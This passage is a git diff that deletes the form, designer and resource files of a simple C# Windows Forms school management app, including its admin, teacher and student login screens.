this.tableLayoutPanel3.RowCount = 2; - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 20F)); - this.tableLayoutPanel3.Size = new System.Drawing.Size(224, 125); - this.tableLayoutPanel3.TabIndex = 0; - // - // AdminButton - // - this.AdminButton.BackColor = System.Drawing.Color.DeepSkyBlue; - this.AdminButton.Dock = System.Windows.Forms.DockStyle.Fill; - this.AdminButton.Font = new System.Drawing.Font("Book Antiqua", 16F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.AdminButton.ForeColor = System.Drawing.Color.Green; - this.AdminButton.Location = new System.Drawing.Point(3, 3); - this.AdminButton.Name = "AdminButton"; - this.AdminButton.Size = new System.Drawing.Size(218, 99); - this.AdminButton.TabIndex = 0; - this.AdminButton.Text = "Admin"; - this.AdminButton.UseVisualStyleBackColor = false; - this.AdminButton.Click += new System.EventHandler(this.AdminButton_Click_1); - // - // tableLayoutPanel4 - // - this.tableLayoutPanel4.Anchor = System.Windows.Forms.AnchorStyles.None; - this.tableLayoutPanel4.ColumnCount = 1; - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.Controls.Add(this.UserButton, 0, 0); - this.tableLayoutPanel4.Location = new System.Drawing.Point(505, 52); - this.tableLayoutPanel4.Name = "tableLayoutPanel4"; - this.tableLayoutPanel4.RowCount = 1; - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.Size = new System.Drawing.Size(200, 100); - this.tableLayoutPanel4.TabIndex = 1; - // - // UserButton - // - this.UserButton.Anchor = System.Windows.Forms.AnchorStyles.None; - this.UserButton.BackColor = System.Drawing.Color.PeachPuff; - this.UserButton.Font = new System.Drawing.Font("Bookman Old Style", 12F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.UserButton.Location = new System.Drawing.Point(3, 3); - this.UserButton.Name = "UserButton"; - this.UserButton.Size = new System.Drawing.Size(194, 94); - this.UserButton.TabIndex = 0; - this.UserButton.Text = "Teacher User"; - this.UserButton.UseVisualStyleBackColor = false; - this.UserButton.Click += new System.EventHandler(this.UserButton_Click); - // - // tableLayoutPanel5 - // - this.tableLayoutPanel5.Anchor = System.Windows.Forms.AnchorStyles.None; - this.tableLayoutPanel5.ColumnCount = 1; - this.tableLayoutPanel5.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel5.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel5.Controls.Add(this.ExitButton, 0, 0); - this.tableLayoutPanel5.Location = new System.Drawing.Point(101, 256); - this.tableLayoutPanel5.Name = "tableLayoutPanel5"; - this.tableLayoutPanel5.RowCount = 1; - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel5.Size = new System.Drawing.Size(200, 100); - this.tableLayoutPanel5.TabIndex = 2; - // - // ExitButton - // - this.ExitButton.BackColor = System.Drawing.Color.PeachPuff; - this.ExitButton.Dock = System.Windows.Forms.DockStyle.Fill; - this.ExitButton.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ExitButton.ForeColor = System.Drawing.Color.Red; - this.ExitButton.Location = new System.Drawing.Point(3, 3); - this.ExitButton.Name = "ExitButton"; - this.ExitButton.Size = new System.Drawing.Size(194, 94); - this.ExitButton.TabIndex = 0; - this.ExitButton.Text = "Exit"; - this.ExitButton.UseVisualStyleBackColor = false; - // - // Form1 - // - this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; - this.ClientSize = new System.Drawing.Size(1284, 702); - this.Controls.Add(this.tableLayoutPanel1); - this.Name = "Form1"; - this.Text = "Form1"; - this.Load += new System.EventHandler(this.Form1_Load); - this.tableLayoutPanel1.ResumeLayout(false); - this.tableLayoutPanel2.ResumeLayout(false); - this.tableLayoutPanel3.ResumeLayout(false); - this.tableLayoutPanel4.ResumeLayout(false); - this.tableLayoutPanel5.ResumeLayout(false); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel2; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel3; - private System.Windows.Forms.Button AdminButton; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel4; - private System.Windows.Forms.Button UserButton; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel5; - private System.Windows.Forms.Button ExitButton; - private System.Windows.Forms.Button button1; - } -} - diff --git a/Add Code Here/C#/CMS/Form1.cs b/Add Code Here/C#/CMS/Form1.cs deleted file mode 100644 index 84203acdae7..00000000000 --- a/Add Code Here/C#/CMS/Form1.cs +++ /dev/null @@ -1,54 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using System.Windows.Forms; -using CMS.Properties; -using CMS.BL; -using CMS.DL; - -namespace CMS -{ - public partial class Form1 : Form - { - public Form1() - { - InitializeComponent(); - } - - private void AdminButton_Click_1(object sender, EventArgs e) - { - /*this.Close();*/ - LoginForm Login = new LoginForm(); - Login.Show(); - } - - private void Form1_Load(object sender, EventArgs e) - { - STUDENTDL.readDataFromFile("Student.txt"); - ResultDL.readDataFromFile("Result.txt"); - TEACHERDL.readDataFromFile("Teacher.txt"); - } - - private void tableLayoutPanel1_Paint(object sender, PaintEventArgs e) - { - - } - - private void UserButton_Click(object sender, EventArgs e) - { - LoginFormForUser Login = new LoginFormForUser(); - Login.Show(); - } - - private void button1_Click(object sender, EventArgs e) - { - StudentLoginForm login = new StudentLoginForm(); - login.Show(); - } - } -} diff --git a/Add Code Here/C#/CMS/Form1.resx b/Add Code Here/C#/CMS/Form1.resx deleted file mode 100644 index 1af7de150c9..00000000000 --- a/Add Code Here/C#/CMS/Form1.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/Add Code Here/C#/CMS/LoginForm.Designer.cs b/Add Code Here/C#/CMS/LoginForm.Designer.cs deleted file mode 100644 index 36cfaea9b92..00000000000 --- a/Add Code Here/C#/CMS/LoginForm.Designer.cs +++ /dev/null @@ -1,179 +0,0 @@ - -namespace CMS -{ - partial class LoginForm - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel2 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel3 = new System.Windows.Forms.TableLayoutPanel(); - this.label2 = new System.Windows.Forms.Label(); - this.NameBox = new System.Windows.Forms.TextBox(); - this.label1 = new System.Windows.Forms.Label(); - this.PasswordBox = new System.Windows.Forms.TextBox(); - this.LoginButton = new System.Windows.Forms.Button(); - this.tableLayoutPanel1.SuspendLayout(); - this.tableLayoutPanel2.SuspendLayout(); - this.tableLayoutPanel3.SuspendLayout(); - this.SuspendLayout(); - // - // tableLayoutPanel1 - // - this.tableLayoutPanel1.BackgroundImage = global::CMS.Properties.Resources.stock_vector_signup_form_login_page_design_you_can_use_it_for_multipurpose_web_projects_login_form_menu_line_1700033632; - this.tableLayoutPanel1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; - this.tableLayoutPanel1.ColumnCount = 1; - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel2, 0, 0); - this.tableLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel1.Location = new System.Drawing.Point(0, 0); - this.tableLayoutPanel1.Name = "tableLayoutPanel1"; - this.tableLayoutPanel1.RowCount = 1; - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel1.Size = new System.Drawing.Size(1766, 697); - this.tableLayoutPanel1.TabIndex = 0; - this.tableLayoutPanel1.Paint += new System.Windows.Forms.PaintEventHandler(this.tableLayoutPanel1_Paint); - // - // tableLayoutPanel2 - // - this.tableLayoutPanel2.Anchor = System.Windows.Forms.AnchorStyles.None; - this.tableLayoutPanel2.BackColor = System.Drawing.Color.Transparent; - this.tableLayoutPanel2.ColumnCount = 2; - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Controls.Add(this.tableLayoutPanel3, 1, 0); - this.tableLayoutPanel2.Controls.Add(this.LoginButton, 1, 1); - this.tableLayoutPanel2.Location = new System.Drawing.Point(302, 143); - this.tableLayoutPanel2.Name = "tableLayoutPanel2"; - this.tableLayoutPanel2.RowCount = 2; - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 84.39024F)); - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 15.60976F)); - this.tableLayoutPanel2.Size = new System.Drawing.Size(1161, 410); - this.tableLayoutPanel2.TabIndex = 0; - // - // tableLayoutPanel3 - // - this.tableLayoutPanel3.BackColor = System.Drawing.Color.White; - this.tableLayoutPanel3.ColumnCount = 2; - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Absolute, 439F)); - this.tableLayoutPanel3.Controls.Add(this.label2, 0, 1); - this.tableLayoutPanel3.Controls.Add(this.NameBox, 1, 0); - this.tableLayoutPanel3.Controls.Add(this.label1, 0, 0); - this.tableLayoutPanel3.Controls.Add(this.PasswordBox, 1, 1); - this.tableLayoutPanel3.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel3.Location = new System.Drawing.Point(583, 3); - this.tableLayoutPanel3.Name = "tableLayoutPanel3"; - this.tableLayoutPanel3.RowCount = 2; - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 152F)); - this.tableLayoutPanel3.Size = new System.Drawing.Size(575, 339); - this.tableLayoutPanel3.TabIndex = 0; - // - // label2 - // - this.label2.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label2.AutoSize = true; - this.label2.Font = new System.Drawing.Font("Book Antiqua", 10F, ((System.Drawing.FontStyle)((System.Drawing.FontStyle.Bold | System.Drawing.FontStyle.Italic))), System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label2.Location = new System.Drawing.Point(18, 251); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(99, 24); - this.label2.TabIndex = 3; - this.label2.Text = "Password"; - // - // NameBox - // - this.NameBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.NameBox.Font = new System.Drawing.Font("Book Antiqua", 8F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.NameBox.Location = new System.Drawing.Point(222, 80); - this.NameBox.Name = "NameBox"; - this.NameBox.Size = new System.Drawing.Size(266, 27); - this.NameBox.TabIndex = 0; - this.NameBox.TextChanged += new System.EventHandler(this.NameBox_TextChanged); - // - // label1 - // - this.label1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label1.AutoSize = true; - this.label1.Font = new System.Drawing.Font("Book Antiqua", 10F, ((System.Drawing.FontStyle)((System.Drawing.FontStyle.Bold | System.Drawing.FontStyle.Italic))), System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label1.Location = new System.Drawing.Point(36, 81); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(63, 24); - this.label1.TabIndex = 1; - this.label1.Text = "Name"; - // - // PasswordBox - // - this.PasswordBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.PasswordBox.Font = new System.Drawing.Font("Book Antiqua", 8F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.PasswordBox.Location = new System.Drawing.Point(222, 249); - this.PasswordBox.Name = "PasswordBox"; - this.PasswordBox.Size = new System.Drawing.Size(266, 27); - this.PasswordBox.TabIndex = 2; - // - // LoginButton - // - this.LoginButton.Anchor = System.Windows.Forms.AnchorStyles.None; - this.LoginButton.BackColor = System.Drawing.Color.Green; - this.LoginButton.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.LoginButton.Location = new System.Drawing.Point(819, 350); - this.LoginButton.Name = "LoginButton"; - this.LoginButton.Size = new System.Drawing.Size(103, 55); - this.LoginButton.TabIndex = 1; - this.LoginButton.Text = "Login"; - this.LoginButton.UseVisualStyleBackColor = false; - this.LoginButton.Click += new System.EventHandler(this.LoginButton_Click); - // - // LoginForm - // - this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(1766, 697); - this.Controls.Add(this.tableLayoutPanel1); - this.Name = "LoginForm"; - this.Text = "LoginForm"; - this.Load += new System.EventHandler(this.LoginForm_Load); - this.tableLayoutPanel1.ResumeLayout(false); - this.tableLayoutPanel2.ResumeLayout(false); - this.tableLayoutPanel3.ResumeLayout(false); - this.tableLayoutPanel3.PerformLayout(); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel2; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel3; - private System.Windows.Forms.TextBox NameBox; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.TextBox PasswordBox; - private System.Windows.Forms.Button LoginButton; - } -} \ No newline at end of file diff --git a/Add Code Here/C#/CMS/LoginForm.cs b/Add Code Here/C#/CMS/LoginForm.cs deleted file mode 100644 index 19a8da3571e..00000000000 --- a/Add Code Here/C#/CMS/LoginForm.cs +++ /dev/null @@ -1,43 +0,0 @@ -using CMS.BL; -using System; -using System.Windows.Forms; - -namespace CMS -{ - public partial class LoginForm : Form - { - public LoginForm() - { - InitializeComponent(); - } - - private void NameBox_TextChanged(object sender, EventArgs e) - { - - - } - - private void LoginButton_Click(object sender, EventArgs e) - { - string name = NameBox.Text; - string password = PasswordBox.Text; - ADMINBL Admin = new ADMINBL(name, password); - if (Admin.isAdmin()) - { - AdminMenu Menu = new AdminMenu(); - this.Close(); - Menu.Show(); - } - } - - private void tableLayoutPanel1_Paint(object sender, PaintEventArgs e) - { - - } - - private void LoginForm_Load(object sender, EventArgs e) - { - - } - } -} diff --git a/Add Code Here/C#/CMS/LoginForm.resx b/Add Code Here/C#/CMS/LoginForm.resx deleted file mode 100644 index 1af7de150c9..00000000000 --- a/Add Code Here/C#/CMS/LoginForm.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/Add Code Here/C#/CMS/LoginFormForUser.Designer.cs b/Add Code Here/C#/CMS/LoginFormForUser.Designer.cs deleted file mode 100644 index b2438f34ce1..00000000000 --- a/Add Code Here/C#/CMS/LoginFormForUser.Designer.cs +++ /dev/null @@ -1,242 +0,0 @@ - -namespace CMS -{ - partial class LoginFormForUser - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); - this.pictureBox1 = new System.Windows.Forms.PictureBox(); - this.tableLayoutPanel2 = new System.Windows.Forms.TableLayoutPanel(); - this.label1 = new System.Windows.Forms.Label(); - this.tableLayoutPanel3 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel4 = new System.Windows.Forms.TableLayoutPanel(); - this.NameBox = new System.Windows.Forms.TextBox(); - this.label2 = new System.Windows.Forms.Label(); - this.label3 = new System.Windows.Forms.Label(); - this.PasswordBox = new System.Windows.Forms.TextBox(); - this.button1 = new System.Windows.Forms.Button(); - this.button2 = new System.Windows.Forms.Button(); - this.tableLayoutPanel1.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); - this.tableLayoutPanel2.SuspendLayout(); - this.tableLayoutPanel4.SuspendLayout(); - this.SuspendLayout(); - // - // tableLayoutPanel1 - // - this.tableLayoutPanel1.ColumnCount = 2; - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 17.5F)); - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 82.5F)); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel4, 1, 1); - this.tableLayoutPanel1.Controls.Add(this.pictureBox1, 0, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel2, 1, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel3, 0, 1); - this.tableLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel1.Location = new System.Drawing.Point(0, 0); - this.tableLayoutPanel1.Name = "tableLayoutPanel1"; - this.tableLayoutPanel1.RowCount = 2; - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 29.55556F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 70.44444F)); - this.tableLayoutPanel1.Size = new System.Drawing.Size(1514, 649); - this.tableLayoutPanel1.TabIndex = 0; - // - // pictureBox1 - // - this.pictureBox1.BackgroundImage = global::CMS.Properties.Resources.delete; - this.pictureBox1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; - this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill; - this.pictureBox1.Location = new System.Drawing.Point(3, 3); - this.pictureBox1.Name = "pictureBox1"; - this.pictureBox1.Size = new System.Drawing.Size(258, 185); - this.pictureBox1.TabIndex = 0; - this.pictureBox1.TabStop = false; - // - // tableLayoutPanel2 - // - this.tableLayoutPanel2.BackColor = System.Drawing.Color.Black; - this.tableLayoutPanel2.ColumnCount = 1; - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Controls.Add(this.label1, 0, 0); - this.tableLayoutPanel2.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel2.Location = new System.Drawing.Point(267, 3); - this.tableLayoutPanel2.Name = "tableLayoutPanel2"; - this.tableLayoutPanel2.RowCount = 1; - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Size = new System.Drawing.Size(1244, 185); - this.tableLayoutPanel2.TabIndex = 1; - // - // label1 - // - this.label1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label1.AutoSize = true; - this.label1.BackColor = System.Drawing.Color.Black; - this.label1.Font = new System.Drawing.Font("Microsoft Sans Serif", 16F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label1.ForeColor = System.Drawing.Color.White; - this.label1.Location = new System.Drawing.Point(455, 74); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(334, 37); - this.label1.TabIndex = 2; - this.label1.Text = "Login Form For User"; - // - // tableLayoutPanel3 - // - this.tableLayoutPanel3.BackColor = System.Drawing.Color.SkyBlue; - this.tableLayoutPanel3.ColumnCount = 1; - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel3.Location = new System.Drawing.Point(3, 194); - this.tableLayoutPanel3.Name = "tableLayoutPanel3"; - this.tableLayoutPanel3.RowCount = 1; - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Size = new System.Drawing.Size(258, 452); - this.tableLayoutPanel3.TabIndex = 1; - // - // tableLayoutPanel4 - // - this.tableLayoutPanel4.Anchor = System.Windows.Forms.AnchorStyles.None; - this.tableLayoutPanel4.ColumnCount = 2; - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 38.69654F)); - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 61.30346F)); - this.tableLayoutPanel4.Controls.Add(this.button2, 1, 2); - this.tableLayoutPanel4.Controls.Add(this.PasswordBox, 1, 1); - this.tableLayoutPanel4.Controls.Add(this.label3, 0, 1); - this.tableLayoutPanel4.Controls.Add(this.NameBox, 1, 0); - this.tableLayoutPanel4.Controls.Add(this.label2, 0, 0); - this.tableLayoutPanel4.Controls.Add(this.button1, 0, 2); - this.tableLayoutPanel4.Location = new System.Drawing.Point(643, 279); - this.tableLayoutPanel4.Name = "tableLayoutPanel4"; - this.tableLayoutPanel4.RowCount = 3; - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 94F)); - this.tableLayoutPanel4.Size = new System.Drawing.Size(491, 281); - this.tableLayoutPanel4.TabIndex = 0; - // - // NameBox - // - this.NameBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.NameBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.NameBox.Location = new System.Drawing.Point(203, 33); - this.NameBox.Name = "NameBox"; - this.NameBox.Size = new System.Drawing.Size(274, 26); - this.NameBox.TabIndex = 0; - // - // label2 - // - this.label2.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label2.AutoSize = true; - this.label2.Font = new System.Drawing.Font("Microsoft Sans Serif", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label2.Location = new System.Drawing.Point(60, 34); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(68, 25); - this.label2.TabIndex = 1; - this.label2.Text = "Name"; - // - // label3 - // - this.label3.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label3.AutoSize = true; - this.label3.Font = new System.Drawing.Font("Microsoft Sans Serif", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label3.Location = new System.Drawing.Point(41, 127); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(106, 25); - this.label3.TabIndex = 2; - this.label3.Text = "Password"; - // - // PasswordBox - // - this.PasswordBox.Anchor = System.Windows.Forms.AnchorStyles.None; - this.PasswordBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.PasswordBox.Location = new System.Drawing.Point(203, 126); - this.PasswordBox.Name = "PasswordBox"; - this.PasswordBox.Size = new System.Drawing.Size(274, 26); - this.PasswordBox.TabIndex = 3; - // - // button1 - // - this.button1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.button1.BackColor = System.Drawing.Color.Green; - this.button1.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.button1.Location = new System.Drawing.Point(49, 204); - this.button1.Name = "button1"; - this.button1.Size = new System.Drawing.Size(90, 59); - this.button1.TabIndex = 4; - this.button1.Text = "Check"; - this.button1.UseVisualStyleBackColor = false; - this.button1.Click += new System.EventHandler(this.button1_Click); - // - // button2 - // - this.button2.Anchor = System.Windows.Forms.AnchorStyles.None; - this.button2.BackColor = System.Drawing.Color.Red; - this.button2.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.button2.Location = new System.Drawing.Point(295, 204); - this.button2.Name = "button2"; - this.button2.Size = new System.Drawing.Size(90, 59); - this.button2.TabIndex = 5; - this.button2.Text = "Exit"; - this.button2.UseVisualStyleBackColor = false; - // - // LoginFormForUser - // - this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(1514, 649); - this.Controls.Add(this.tableLayoutPanel1); - this.Name = "LoginFormForUser"; - this.Text = "LoginFormForUser"; - this.tableLayoutPanel1.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); - this.tableLayoutPanel2.ResumeLayout(false); - this.tableLayoutPanel2.PerformLayout(); - this.tableLayoutPanel4.ResumeLayout(false); - this.tableLayoutPanel4.PerformLayout(); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel1; - private System.Windows.Forms.PictureBox pictureBox1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel4; - private System.Windows.Forms.TextBox PasswordBox; - private System.Windows.Forms.Label label3; - private System.Windows.Forms.TextBox NameBox; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel2; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel3; - private System.Windows.Forms.Button button2; - private System.Windows.Forms.Button button1; - } -} \ No newline at end of file diff --git a/Add Code Here/C#/CMS/LoginFormForUser.cs b/Add Code Here/C#/CMS/LoginFormForUser.cs deleted file mode 100644 index 6e6e385a553..00000000000 --- a/Add Code Here/C#/CMS/LoginFormForUser.cs +++ /dev/null @@ -1,35 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using System.Windows.Forms; -using CMS.DL; -using CMS.BL; - -namespace 